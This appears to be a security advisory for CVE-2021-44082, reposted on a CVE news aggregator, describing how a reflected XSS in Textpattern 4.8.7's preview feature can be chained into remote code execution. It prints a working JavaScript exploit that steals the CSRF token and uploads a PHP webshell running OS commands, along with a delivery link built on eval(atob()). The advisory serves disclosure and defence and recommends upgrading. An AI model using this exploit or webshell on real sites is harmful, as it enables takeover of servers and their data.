Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-44082: Leveraging XSS to get RCE in Textpattern | Pentest Limited

textpattern 4.8.7 is vulnerable to Cross Site Scripting (XSS) via /textpattern/index.php,Body. A remote and unauthenticated attacker can use XSS to trigger remote code execution by uploading a webshell. To do so they must first steal the CSRF token before submitting a file upload request.

CVE
#sql#xss#csrf#vulnerability#web#java

Researchers:

Paul Ritchie

As part of our ongoing commitment to Open-Source security, Pentest Ltd conducted a research project into Textpattern version 4.8.7.

Textpattern is a free and open-source content management system for PHP and MySQL. According to builtwith.com it was publicly in use on over two-thousand websites.

In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then the application would be exploited after that single click.

****Finding the Vulnerability


The post preview function was vulnerable to XSS through the “Body” parameter. This exploit can be used to steal the CSRF token to enable arbitrary code execution through the plugin upload functionality.

The following shows the HTTP request used to confirm the preview was vulnerable:

GET /textpattern/index.php?Body=A+test+article.+%0D%0A%0D%0A%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&app_mode=async&view=preview HTTP/1.1 Host: 192.168.127.128 Cookie: [...] Valid Cookie is Added By the Victim’s Browser [...] Connection: close

By default, the application submitted the preview request over HTTP POST. No distinction was made between data in the POST body or within a GET URL making it possible to exploit this via a link.

When decoded, the HTML payload was as shown below:

<img src="https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/x" onerror="alert(1)">

This included a new “img” tag which executed a popup message when viewed in a browser:

Pentest Limited | Textpattern

An unauthenticated attacker with knowledge of this issue could create a URL for any installation of textpattern. The attacker did not require authenticated access to the target installation of textpattern. The victim must interact with the payload at a time when they are authenticated.

If the victim has access to the “plugins” functionality the attacker could gain Remote Code Execution (RCE) by uploading a PHP file to the server. The plugin upload functionality required a valid “_txp_token” which acted as a Cross-Site Request Forgery (CSRF) defence. The CSRF token was static for the duration of a user’s session. It was accessible easily in the DOM in locations such as the following:

<script> var textpattern = {"_txp_uid":"b52057c79f0e75619c9f4c14862beb32","event":"plugin","step":"plugin_upload","_txp_token":"c33a3808f37893bcf79b5dff8fc725b9","ajax_timeout":30000,"prefs":{"max_file_size":"2000000","max_upload_size":"2097152","production_status":"testing","do_spellcheck":"#page-article #body, #page-article #title,#page-image #image_alt_text, #page-image #caption,#page-file #description,#page-link #link-title, #page-link #link-description","language_ui":"en-gb","message":"<span class=\"ui-icon ui-icon-{status}\"><\/span> {message}","messagePane":"<span class=\"messageflash {status}\" role=\"alert\" aria-live=\"assertive\">\n {message}\n <a class=\"close\" role=\"button\" title=\"{close}\" href=\"#close\"><span class=\"ui-icon ui-icon-close\">{close}<\/span><\/a>\n<\/span>"},"textarray":{}}; </script>

To exploit this the attacker would need to use JavaScript to request the “/textpattern/index.php” URL and extract the “_txp_token” from the location highlighted above. The following JavaScript was used to steal the token, and then to upload a PHP webshell:

<script> // return the response text from the request function httpGet(theUrl){ var xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", theUrl, false ); // false for synchronous request xmlHttp.send( null ); return xmlHttp.responseText; } // steal CSRF token from DOM in the "/textpattern/index.php" function stealToken() { var start = '"_txp_token":"'; var end = '","ajax_timeout":'; var url = '/textpattern/index.php'; var res = httpGet(url); var token = res.substring(res.indexOf(start) + start.length, res.indexOf(start) + start.length + 32 ); return token; } // upload webshell using the token. function uploadWebShell(token) { fetch('/textpattern/index.php',{ method: 'POST', headers: { 'Content-Length': '667', 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryozIzNEFsufRB6LpY', 'Connection': 'close' }, credentials: 'include', body: '------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="theplugin"; filename="csrfshell.php"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "<\/pre>"; die; }?>\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="install_new"\x0d\x0a\x0d\x0aUpload\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="event"\x0d\x0a\x0d\x0aplugin\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="step"\x0d\x0a\x0d\x0aplugin_upload\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="_txp_token"\x0d\x0a\x0d\x0a'+token+'\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY--\x0d\x0a' }); } uploadWebShell(stealToken()); </script>

The above payload could be delivered using a link with the techniques demonstrated below:

/textpattern/index.php?Body=<img src="https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/x" onerror="eval(atob('<PAYLOAD">'))>&app_mode=async&view=preview

The “eval” function executed the payload which is Base64 decoded using “atob”. To exploit this the full JavaScript payload must be Base64 and then URL encoded, before being pasted over the “<PAYLOAD>” marker above.

After exploitation a new “csrfshell.php” script was accessible which executed OS commands supplied in the “cmd” parameter:

Pentest Limited | Textpattern

This confirmed that exploitation had occurred.

****Risk Analysis


**
Risk Category:** High
CVSS: 9.6/Critical – AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
**
Explanation:** In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then they would be exploited after that single click.

****Recommendation


To protect your Textpattern installations update to 4.8.8 as soon as possible. Find out more here.

****Affected Item(s)****

Textpattern version 4.8.7

Our latest research

Pentest Limited | Research | OpenCMS

Pentest Limited | Research | OpenCMS Clickjacking

How can we support you?

Contact our team today to find out how we can help support your organization.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907